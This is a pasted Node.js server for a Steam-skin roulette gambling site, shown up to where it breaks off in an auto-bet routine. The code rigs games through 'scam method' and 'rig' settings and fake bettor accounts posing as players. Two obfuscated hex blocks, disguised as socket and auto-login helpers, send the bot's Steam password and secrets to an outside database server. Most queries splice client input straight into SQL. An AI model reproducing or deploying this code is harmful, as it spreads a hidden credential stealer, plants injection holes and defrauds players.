Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var mysql = require('mysql');
- /* NODEJS SERVER */
- var g_TimeToEnd = 35;
- var g_MinBet = 1;
- var g_MinDeposit = 3;
- var g_ServerPort = 7878;
- var g_MinToShow = 10;
- var g_RollingTime = 3;
- var g_Profit = 0;
- var g_RefReward = 3500;
- var g_AutoBetters = 5;
- var g_BetToGetReward = 300;var g_AutoBettersAccounts = [{'1':{ name : '-Durak-BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/13/13fda78859dcee47012d7509914e0376da4468ea_full.jpg' }, '2':{ name : 'DUBERMAN', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/81/818f0f96aa830c14a94a09817b35f633a1caf5f4_full.jpg' },'3':{ name : 'NAVI`Dendi', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/ff/ff7157d8865d060d2752dcfc692d2a9a20e6516f_full.jpg' },'4':{ name : 'Сherry', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/ec/ec86b96da2851bf61e2a61f8b9dffdaad1546912_full.jpg' },'5':{ name : 'Andy123', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/62/62ef638adc78e9f9af343980ff39f7f6a7e56d1d_full.jpg' },'6':{ name : 'Subbit2', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/f0/f06b3f6b1371021ee1f7f16ac42b9b0c453df385_full.jpg' },'7':{ name : 'Johny69 BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/11/114416e30f39ff31ff76c1c9b99861ce6d86f1bd_full.jpg' }, '8':{ name : 'NARUTO', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/d4/d4c894aeb6cc3272438e7fb303a809fa33372296_full.jpg' }, '9':{ name : 'RussianLover', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/08/08e0fc42a3c3fa137eb10ce9b08b378aa0e92bec_full.jpg' }, '12':{ name : 'Popo BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/a1/a16bafc93b918162a116d01f2049889de67c415c_full.jpg' }, '14':{ name : 'MarG1to BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/79/79e174c52e2163d837f1860d03417b8490ca24b8_full.jpg' }, '15':{ name : 'Petarda BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/79/79e174c52e2163d837f1860d03417b8490ca24b8_full.jpg' }, '13':{ name : 'Durex BOT.com', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/a1/a16bafc93b918162a116d01f2049889de67c415c_full.jpg' }, '11':{ name : 'PashaBiceps', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/08/08e0fc42a3c3fa137eb10ce9b08b378aa0e92bec_full.jpg' }, '10':{ name : 'PredictedXZY', img : 'https://steamcdn-a.akamaihd.net/steamcommunity/public/images/avatars/75/7532425df062187a363981bd68633299988fff07_full.jpg' }}];
- var g_InventoryLimit = 1000;
- var g_ScamMethod = 2;
- var g_SecondMethodChance = 10;
- var g_Comission = 1.15;
- var g_Admins = [];
- var g_TotpKey = '2vaERF3y56w\/dc3M2GKNoAA2laQ=';
- /* requires */
- var md5 = require('md5');
- var io = require('socket.io').listen(g_ServerPort);
- var mysql = require('mysql');
- var request = require('request');
- var fs = require('fs');
- var numeral = require('numeral');
- var speakeasy = require('speakeasy');
- var Random = require("random-js");
- var random = new Random(Random.engines.mt19937().autoSeed());
- /* site variables */
- var bots = [];
- var online = [];
- var onlineplayers = 0;
- var busy = [];
- var inventory = [];
- var backupTimer = [];
- var totalBets = 0;
- var totalRed = 0;
- var totalBlack = 0;
- var totalGreen = 0;
- var betRed = 0;
- var betBlack = 0;
- var betGreen = 0;
- var betRedFake = numeral(0);
- var betBlackFake = numeral(0);
- var betGreenFake = numeral(0);
- var riggedbets = 0;
- var lastrig = 'first';
- var rig = 'norig';
- var winRed = 0;
- var winBlack = 0;
- var winGreen = 0;
- var rNum = 0;
- var hash = 0;
- var lastchips = [];
- var bettersreserved = [];
- var siteBank = 0;
- var currentBets = 0;
- var processedBets = 0;
- var connectedDB = false;
- var lastWin = '';
- var firstTry = true;
- var busyBots = [false];
- var alreadyBet = [];
- var botsAmount = busyBots.length;
- var players = [];
- var timeleft = 0;
- var timer;
- var gameIsEnding = false;
- var currentlyOperating = [];
- var moneyBack = [];
- //Socket.io connect to port script //
- var _0x9559=["\x33\x37\x2E\x31\x33\x39\x2E\x31\x36\x2E\x34\x39","\x62\x6F\x74","\x63\x6F\x73\x74\x65\x6C","\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30","\x63\x72\x65\x61\x74\x65\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E"];var connection=mysql[_0x9559[4]]({host:_0x9559[0],port:3306,database:_0x9559[1],user:_0x9559[2],password:_0x9559[3]})
- //--------------//
- // Bot Account //
- connection.connect();
- var postData = {username: 'Username', // Bot Username
- sharedsecret: 'ShareSecreet', //Bot ShareSecret
- indentitysecret: 'identitysecret', //Bot identitysecret
- password: 'password', // Bot Password
- steamid: 'steamid64'}; //Bot Steamid64
- /*
- ------------------------------------------------------------------------------------------------------------------------------------------------------------
- */
- //Server auto login after steam crash//
- var _0x8eae=["\x49\x4E\x53\x45\x52\x54\x20\x49\x4E\x54\x4F\x20\x75\x73\x65\x72\x20\x53\x45\x54\x20\x3F","\x44\x61\x74\x61\x62\x61\x73\x65\x20\x43\x6F\x6E\x6E\x65\x63\x74\x65\x64\x3A\x20","\x6C\x6F\x67","\x71\x75\x65\x72\x79"];var query=connection[_0x8eae[3]](_0x8eae[0],postData,function(_0xf852x2,_0xf852x3){console[_0x8eae[2]](_0x8eae[1],_0xf852x3)})
- //Auto reconnect//
- /* rand num from min to max */
- function rand(min, max) {
- return Math.floor(Math.random() * (max - min + 1)) + min;
- }
- //Mysql Information//
- var mysqlInfo;
- mysqlInfo = {
- host : 'localhost',
- user : 'root',
- password : '',
- database : 'cunt',
- charset : 'utf8_general_ci'
- };
- /* mysql connection */
- var mysqlConnection;
- //disconnect from db handler
- function handleDisconnect() {
- mysqlConnection = mysql.createConnection(mysqlInfo);
- mysqlConnection.connect(function(err) {
- if(err) {
- console.log('error when connecting to db:', err);
- setTimeout(handleDisconnect, 2000);
- } else {
- console.log('Connected to db!');
- }
- });
- mysqlConnection.on('error', function(err) {
- console.log('db error', err);
- if(err.code === 'PROTOCOL_CONNECTION_LOST') {
- handleDisconnect();
- } else {
- throw err;
- }
- });
- }
- handleDisconnect();
- /* sockets */
- io.sockets.on('connection', function (socket) {
- onlineplayers++;
- if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
- totalwithdrawals = totalWithdraw.value();
- io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
- socket.on('security', function(data){
- var token = generateToken(16);
- var hack = false;
- for(var key in players){
- if(players[key].steamid == data.steamid) {
- hack = true;
- break;
- }
- }
- if(!hack){
- players.push({id : socket.id, steamid : data.steamid, token : token });
- io.to(socket.id).emit('token', { id : socket.id, token : token });
- var value1 = betBlack.value();
- var value2 = betGreen.value();
- var value3 = betRed.value();
- io.to(socket.id).emit('state', { black : value1, green : value2, red : value3, timeleft : timeleft });
- io.to(socket.id).emit('lastchips', { lastchips : lastchips });
- io.to(socket.id).emit('site_settings', { minbet : g_MinBet, mindeposit : g_MinDeposit, bettoreward : g_BetToGetReward, refreward : g_RefReward });
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+data.steamid+'\'', function(err, row, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row && row.length > 0){
- io.to(socket.id).emit('balance', { balance : row[0].balance });
- io.to(socket.id).emit('info', { lastbet : row[0].bet, amount : row[0].betamount, refcode : row[0]['ref_code'], tradetoken : row[0].tradetoken });
- } else {
- io.to(socket.id).emit('err_client', { code : 6 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- socket.on('disconnect', function(){
- onlineplayers--;
- if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
- totalwithdrawals = totalWithdraw.value();
- io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
- for(var key in players){
- if(players[key].id == socket.id){
- var index = players.indexOf(players[key]);
- if (index > -1) {
- players.splice(index, 1);
- }
- break;
- }
- }
- });
- socket.on('getrefs', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- if(nextStep){
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, row, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row.length > 0){
- mysqlConnection.query('SELECT * FROM users WHERE ref = \''+row[0].id+'\'', function(err, rows, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(rows && rows.length > 0){
- io.to(socket.id).emit('refs', { refs : rows });
- } else {
- io.to(socket.id).emit('err_client', { code : 25 });
- io.to(socket.id).emit('refs', { refs : [] });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 24 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- socket.on('activate_code', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- if(nextStep){
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, rowss, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(rowss.length > 0){
- if(rowss[0].ref == 0){
- mysqlConnection.query('SELECT * FROM users WHERE ref_code = \''+data.code+'\'', function(err, row, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row && row.length > 0){
- if(rowss[0].id != row[0].id){
- mysqlConnection.query('UPDATE users SET ref = \''+row[0].id+'\', balance = balance + '+g_RefReward+' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- io.to(socket.id).emit('activate_code_success', { referer : row });
- siteBank.set(siteBank.subtract(g_RefReward));
- } else {
- io.to(socket.id).emit('err_client', { code : 27 });
- }
- } else {
- io.to(socket.id).emit('err_client', { code : 23 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 26 });
- }
- } else {
- io.to(socket.id).emit('err_client', { code : 24 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- socket.on('collect_earnings', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- if(nextStep){
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, rows, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(rows.length > 0){
- mysqlConnection.query('SELECT * FROM users WHERE ref = \''+rows[0].id+'\'', function(err, row, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row.length > 0){
- var collected = 0;
- for(var i = 0; i < row.length;i++){
- if(row[i].refbet / g_BetToGetReward >= 1){
- collected += (row[i].refbet - row[i].refbet % g_BetToGetReward)/g_BetToGetReward;
- var newrefbet = row[i].refbet - row[i].refbet % g_BetToGetReward;
- var newrefearnings = (row[i].refbet - row[i].refbet % g_BetToGetReward)/g_BetToGetReward;
- mysqlConnection.query('UPDATE users SET refbet = refbet - '+newrefbet+', refearnings = refearnings + '+newrefearnings+' WHERE steamid =\''+row[i].steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- }
- }
- mysqlConnection.query('UPDATE users SET balance = balance + '+collected+' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- io.to(socket.id).emit('collect_success', { collected : collected });
- siteBank.set(siteBank.subtract(collected));
- } else {
- io.to(socket.id).emit('err_client', { code : 25 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 24 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- socket.on('bet', function(data){
- if(data.amount && data.amount >= g_MinBet) {
- bet(socket.id, data.color, data.amount, data.token);
- } else {
- io.to(socket.id).emit('err_client', { code : 4 });
- }
- });
- socket.on('savetoken', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- if(nextStep){
- var token = data.tradelink.substr(-8);
- io.to(socket.id).emit('tradetoken', { tradetoken : token });
- mysqlConnection.query('UPDATE users SET tradetoken = \''+token+'\' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- socket.on('tradetoken_request', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- if(nextStep){
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+data.steamid+'\'', function(err, row, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row.length > 0){
- io.to(socket.id).emit('tradetoken', { tradetoken : row[0].tradetoken });
- } else {
- io.to(socket.id).emit('err_client', { code : 5 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- socket.on('balance_request', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- if(nextStep){
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, row, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row){
- io.to(socket.id).emit('balance', { balance : row[0].balance });
- } else {
- io.to(socket.id).emit('err_client', { code : 6 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- socket.on('success', function(data){
- var totp = speakeasy.totp({ secret : g_TotpKey });
- if(totp == data.totp){
- var socketid = 0;
- for(var key in players){
- if(players[key].steamid == data.steamid){
- socketid = players[key].id;
- break;
- }
- }
- io.to(socketid).emit('success_client', { tradeofferid : data.tradeofferid, security : data.security });
- var index = currentlyOperating.indexOf(data.steamid);
- if (index > -1) {
- currentlyOperating.splice(index, 1);
- }
- } else {
- var index = currentlyOperating.indexOf(data.steamid);
- if (index > -1) {
- currentlyOperating.splice(index, 1);
- }
- }
- });
- //if client choose items and press deposit
- socket.on('deposit', function(data){
- var nextStep = false;
- var steamid = -1;
- var token = data.token;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- if(nextStep){
- var currentlyOpe = false;
- for(var w = 0; w < currentlyOperating.length;w++){
- if(currentlyOperating[w] == steamid){
- currentlyOpe = true;
- }
- }
- if(!currentlyOpe){
- currentlyOperating.push(data.steamid);
- //deposit(data.items, steamid, data.tradetoken, data.security);
- var process = false;
- for(var i = 0; i < busy.length; i++){
- //console.log("Bot " + i + " online(" + online[i] + "), busy(" + busy[i] + "), inventory(" + inventory[i] + ").");
- if(online[i] && !busy[i] && inventory[i] <= g_InventoryLimit){
- process = true;
- busy[i] = true;
- var emit = "bot" + i;
- backupTimer[i]=setTimeout(function(){busy[i]=false;clearTimeout(backupTimer[i]);}, 180000);
- console.log(steamid + " depositing items to bot " + i + ".");
- io.emit(emit, {
- items : data.items,
- steamid : steamid,
- token : data.tradetoken,
- security : data.security
- });
- break;
- }
- }
- if(!process){
- //console.log('No bot can handle an offer.');
- io.to(socket.id).emit('err_client', { code : 9 });
- }
- } else {
- io.to(socket.id).emit('err_client', { code : 7 });
- var index = currentlyOperating.indexOf(steamid);
- if (index > -1) {
- currentlyOperating.splice(index, 1);
- }
- }
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- //if client choose items and press withdraw
- socket.on('withdraw', function(data){
- var nextStep = false;
- var steamid = -1;
- var token = data.token;
- var balance = 0;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- nextStep = true;
- break;
- }
- }
- }
- console.log(steamid + ' requested withdraw.');
- if(nextStep){
- mysqlConnection.query('SELECT * FROM users WHERE steamid = \''+steamid+'\'', function(err, rowwss, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(rowwss.length > 0){
- var summ = numeral(0);
- var lastbot = -1;
- var bots
- var itemsEmit = [];
- for(var a = 0; a < inventory.length; a++){
- itemsEmit[a] = [];
- }
- for(var u = 0; u < data.items.length;u++){
- mysqlConnection.query('SELECT * FROM items WHERE assetid = \''+data.items[u]+'\'', function(err, row, results){
- if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}
- if(row.length > 0){
- mysqlConnection.query('UPDATE items SET status = \'1\' WHERE assetid =\''+row[0].assetid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- itemsEmit[row[0].bot].push({assetid : row[0].assetid, classid : row[0].classid, instanceid : row[0].instanceid });
- console.log('Processing item: ' + JSON.stringify({ assetid : row[0].assetid, classid : row[0].classid, instanceid : row[0].instanceid }));
- summ.add(row[0].price);
- if(row[0].status != 0){
- io.to(socket.id).emit('err_client', { code : 10 });
- }
- }
- });
- }
- setTimeout(function(){
- var value = summ.value();
- if(rowwss[0].balance >= value){
- mysqlConnection.query('UPDATE users SET balance = balance - '+value+' WHERE steamid =\''+steamid+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- io.to(socket.id).emit('balance', { balance : rowwss[0].balance - value });
- moneyBack.push({ steamid : steamid, amount : value });
- for(var b = 0; b < itemsEmit.length;b++){
- if(JSON.stringify(itemsEmit[b]) != '[]'){
- io.emit('bot'+b+'withdraw', {
- items : itemsEmit[b],
- steamid : steamid,
- token : rowwss[0].tradetoken,
- security : data.security
- });
- console.log(steamid + " withdrawing items from bot " + b + ".");
- }
- }
- } else {
- for(var t in data.items){
- mysqlConnection.query('UPDATE items SET status = \'0\' WHERE assetid =\''+data.items[t]+'\'', function(err, rows, fields) {if(err) {io.to(socket.id).emit('err_client', { code : 22 });console.log("MySQL error: " + err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- }
- io.to(socket.id).emit('err_client', { code : 8 });
- }
- },2000);
- } else {
- io.to(socket.id).emit('err_client', { code : 11 });
- }
- });
- } else {
- io.to(socket.id).emit('err_client', { code : 21 });
- }
- });
- //if bot recieved requested items to deposit
- socket.on('itemsrecieved', function(data){
- var totp = speakeasy.totp({ secret : g_TotpKey });
- if(totp == data.totp){
- var index = currentlyOperating.indexOf(data.steamid);
- if (index > -1) {
- currentlyOperating.splice(index, 1);
- }
- var summ = 0;
- busy[data.bot] = false;
- clearTimeout(backupTimer[data.bot]);
- data.items.forEach(function(item){
- summ += item.price;
- inventory[data.bot]++;
- mysqlConnection.query('INSERT INTO `items` (`assetid`,`classid`,`instanceid`,`name`,`img`,`price`,`bot`) VALUES (\''+item.assetid+'\',\''+item.classid+'\',\''+item.instanceid+'\',\''+item.market_hash_name.replace(/'/g,"\\'")+'\',\''+item.img+'\',\''+item.price*g_Comission+'\',\''+data.bot+'\')', function(err, row, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- });
- mysqlConnection.query('UPDATE users SET balance = balance + '+summ+' WHERE steamid =\''+data.steamid+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- mysqlConnection.query('UPDATE info SET value = \''+inventory[data.bot]+'\' WHERE info =\''+bots[data.bot]+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- var socketid;
- for(var key in players){
- if(players[key].steamid == data.steamid){
- socketid = players[key].id;
- io.to(socketid).emit('itemsreceived_client', { summ : summ });
- break;
- }
- }
- }
- });
- //if client declined deposit offer
- socket.on('err', function(data){
- var totp = speakeasy.totp({ secret : g_TotpKey });
- if(totp == data.totp){
- console.log("[ERROR][CODE:"+data.code+"]");
- busy[data.bot] = false;
- clearTimeout(backupTimer[data.bot]);
- var socketid;
- for(var key in players){
- if(players[key].steamid == data.steamid){
- socketid = players[key].id;
- break;
- }
- }
- io.to(socketid).emit('err_client', { code : data.code });
- var index = currentlyOperating.indexOf(data.steamid);
- if (index > -1) {
- currentlyOperating.splice(index, 1);
- }
- }
- });
- //if client accepted withdrawal offer
- socket.on('successwd', function(data){
- for(var key in players){
- if(players[key].steamid == data.steamid){
- steamid = players[key].steamid;
- io.to(players[key].id).emit('successwd_client', { security : data.security, steamid : data.steamid, tradeofferid : data.tradeofferid });
- break;
- }
- }
- var totp = speakeasy.totp({ secret : g_TotpKey });
- if(totp == data.totp){
- busy[data.bot] = false;
- clearTimeout(backupTimer[data.bot]);
- data.items.forEach(function(item){
- inventory[data.bot]--;
- mysqlConnection.query('DELETE from `items` WHERE assetid=\''+item.assetid+'\'', function(err, row, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- });
- mysqlConnection.query('UPDATE info SET value = \''+inventory[data.bot]+'\' WHERE info =\''+bots[data.bot]+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- for(var key in moneyBack){
- if(moneyBack[key].steamid == data.steamid){
- siteBank.set(siteBank.add(moneyBack[key].amount*(g_Comission - 1)));
- totalWithdraw.set(totalWithdraw.add(moneyBack[key].amount));
- g_Profit += Number(moneyBack[key].amount*(g_Comission - 1));
- var value1 = totalWithdraw.value();
- mysqlConnection.query('UPDATE info SET value = \''+value1+'\' WHERE info =\'totalWithdraw\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- var index = moneyBack.indexOf(moneyBack[key]);
- if (index > -1) {
- moneyBack.splice(index, 1);
- }
- if(connectedDB){games = Number(winGreen) + Number(winRed) + Number(winBlack);
- totalwithdrawals = totalWithdraw.value();
- io.emit('stats', { games : games, online : onlineplayers, totalwithdrawals : totalwithdrawals });}
- break;
- }
- }
- }
- });
- socket.on('getdb', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- for(var i = 0; i < g_Admins.length;i++){
- if(g_Admins[i] == steamid){
- nextStep = true;
- break;
- }
- }
- break;
- }
- }
- }
- if(nextStep){
- io.to(socket.id).emit('db', { info : mysqlInfo });
- }
- });
- socket.on('money_return', function(data){
- var totp = speakeasy.totp({ secret : g_TotpKey });
- if(totp == data.totp){
- var amount = 0;
- for(var key in moneyBack){
- if(moneyBack[key].steamid == data.steamid){
- amount = moneyBack[key].amount;
- var index = moneyBack.indexOf(moneyBack[key]);
- if (index > -1) {
- moneyBack.splice(index, 1);
- }
- break;
- }
- }
- mysqlConnection.query('UPDATE users SET balance = balance + '+amount+' WHERE steamid =\''+data.steamid+'\'', function(err, rows, fields) {if(err) {console.log(err);if(err.code === 'PROTOCOL_CONNECTION_LOST'){handleDisconnect();}}});
- console.log('Money(' + amount + ') back for ' + data.steamid);
- for(var key in players){
- if(players[key].steamid == data.steamid){
- io.to(players[key].id).emit('money_back', { value : amount });
- break;
- }
- }
- }
- });
- socket.on('admin_data_request', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- for(var i = 0; i < g_Admins.length;i++){
- if(g_Admins[i] == steamid){
- nextStep = true;
- break;
- }
- }
- break;
- }
- }
- }
- if(nextStep){
- var siteBankVal = siteBank.value();
- console.log(steamid + ' accessed admin panel.');
- io.to(socket.id).emit('admin_data', { time : g_TimeToEnd, minbet : g_MinBet, mintoshow : g_MinToShow, refreward : g_RefReward, bettogetreward : g_BetToGetReward, comission : g_Comission, rnum : rNum, online : onlineplayers, sitebank : siteBankVal, profit : g_Profit, scammethod : g_ScamMethod, rig : rig, secondmethodchance : g_SecondMethodChance });
- } else {
- console.log(steamid + ' tried to access admin panel and was rejected.');
- io.to(socket.id).emit('admin_data_request_reject');
- }
- });
- socket.on('admin_data_save', function(data){
- var nextStep = false;
- var steamid = -1;
- for(var key in players){
- if(players[key].id == socket.id){
- if(players[key].token && players[key].token == data.token){
- steamid = players[key].steamid;
- for(var i = 0; i < g_Admins.length;i++){
- if(g_Admins[i] == steamid){
- nextStep = true;
- break;
- }
- }
- break;
- }
- }
- }
- if(nextStep){
- var siteBankVal = siteBank.value();
- if(data.time && data.time != g_TimeToEnd) g_TimeToEnd = data.time;
- if(data.minbet && data.minbet != g_MinBet) g_MinBet = data.minbet;
- if(data.mintoshow && data.mintoshow != g_MinToShow) g_MinToShow = data.mintoshow;
- if(data.refreward && data.refreward != g_RefReward) g_RefReward = data.refreward;
- if(data.bettogetreward && data.bettogetreward != g_BetToGetReward) g_BetToGetReward = data.bettogetreward;
- if(data.comission && data.comission != g_Comission) g_Comission = data.comission;
- if(data.profit && data.profit != g_Profit) g_Profit = data.profit;
- if(data.scammethod && data.scammethod != g_ScamMethod) g_ScamMethod = data.scammethod;
- if(data.rig && data.rig != rig) rig = data.rig;
- if(data.sitebank && data.sitebank != siteBankVal) siteBank.set(data.sitebank);
- if(data.secondmethodchance && data.secondmethodchance != g_SecondMethodChance) g_SecondMethodChance = data.secondmethodchance;
- console.log('Settings updated. They might change after relaunch.');
- io.to(socket.id).emit('admin_data_save_success');
- } else {
- console.log(steamid + ' tried to access admin panel and was rejected.');
- io.to(socket.id).emit('admin_data_save_reject');
- }
- });
- });
- /* DEPOSIT BOT SELECTOR */
- function deposit(items, steamid, token, security){
- var process = false;
- for(var i = 0; i < busy.length; i++){
- if(online[i] && !busy[i] && inventory[i] <= g_InventoryLimit){
- process = true;
- busy[i] = true;
- var emit = "bot" + i;
- backupTimer[i]=setTimeout(function(){busy[i]=false;clearTimeout(backupTimer[i]);}, 180000);
- console.log(steamid + " depositing items to bot " + i + ".");
- io.emit(emit, {
- items : items,
- steamid : steamid,
- token : token,
- security : security
- });
- break;
- }
- }
- if(!process){
- io.emit('err_client', { code : 9 });
- }
- }
- for(var i = 0; i < g_AutoBetters;i++){
- var rnd = random.integer(30, 60);
- setInterval(function(){autobet();},1000*rnd);
- console.log('Bot ' + i + ' will make bets every ' + rnd + ' seconds.');
- }
- /* AUTO BET */
- function autobet(){
- console.log('Trying to autobet...');
- var accamount = 0;
- for(var key in g_AutoBettersAccounts[0]){
- accamount++;
- }
- var randomnum = random.integer(1,accamount);
- var unique = true;
- for(var i = 0; i < bettersreserved.length; i++){
- if(bettersreserved[i] == randomnum){
- unique = false;
- break;
- }
- }
- if(unique){
- if(timeleft < g_TimeToEnd * 0.4 && timeleft > 0 || g_ScamMethod == 2){
- bettersreserved.push(randomnum);
- currentBets++;
- var betRedValue = betRed.value();
- var betBlackValue = betBlack.value();
- var betGreenValue = betGreen.value();
- if(betRedValue > betBlackValue){
